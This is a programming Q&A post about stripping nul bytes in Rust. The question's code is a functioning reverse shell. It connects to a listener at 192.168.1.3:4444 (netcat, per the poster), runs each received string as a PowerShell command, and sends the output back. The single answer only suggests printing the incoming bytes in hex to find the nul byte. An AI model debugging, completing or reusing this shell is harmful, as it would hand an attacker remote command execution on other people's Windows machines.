How to remove nul characters from string in rust?

Viewed 58
use std::net::TcpStream;
use std::io::*;
use std::io::{self, Write};
use std::str::from_utf8;
use std::process::Command;


const MESSAGE_SIZE: usize = 10;
fn main()
{
    let mut stream = TcpStream::connect("192.168.1.3:4444").unwrap();
    println!("CONNECTED !!");
    loop
    {
        stream.write(b"[*] >> ").expect("A");
        let mut rx_bytes = [0u8; MESSAGE_SIZE];
        stream.read(&mut rx_bytes).expect("k");
        let received = from_utf8(&rx_bytes).expect("valid utf8").to_string();
        print!("{}",received);
        let output = Command::new("powershell").arg(received).output().expect("failed to execute process"); // Error at .arg(received).

        println!("status: {}", output.status);
        io::stdout().write_all(&output.stdout).unwrap();
        io::stderr().write_all(&output.stderr).unwrap();
        let res = from_utf8(&output.stdout).expect("valid utf8").to_string();
        stream.write(res.as_bytes());
    }
}

ERROR:- thread 'main' panicked at 'failed to execute process: Error { kind: InvalidInput, message: "nul byte found in provided data" }', .\main.rs:20:72 note: run with RUST_BACKTRACE=1 environment variable to display a backtrace PS:- I am using netcat as the server.

1 Answers

The first thing you should probably do (if you haven't already) is to look at your incoming data:

println!("{:x?}", "azAZ\0X09".as_bytes()); // [61, 7a, 41, 5a, 0, 58, 30, 39]

Then you can determine why there is a null byte in there and what needs to be done about it.

Related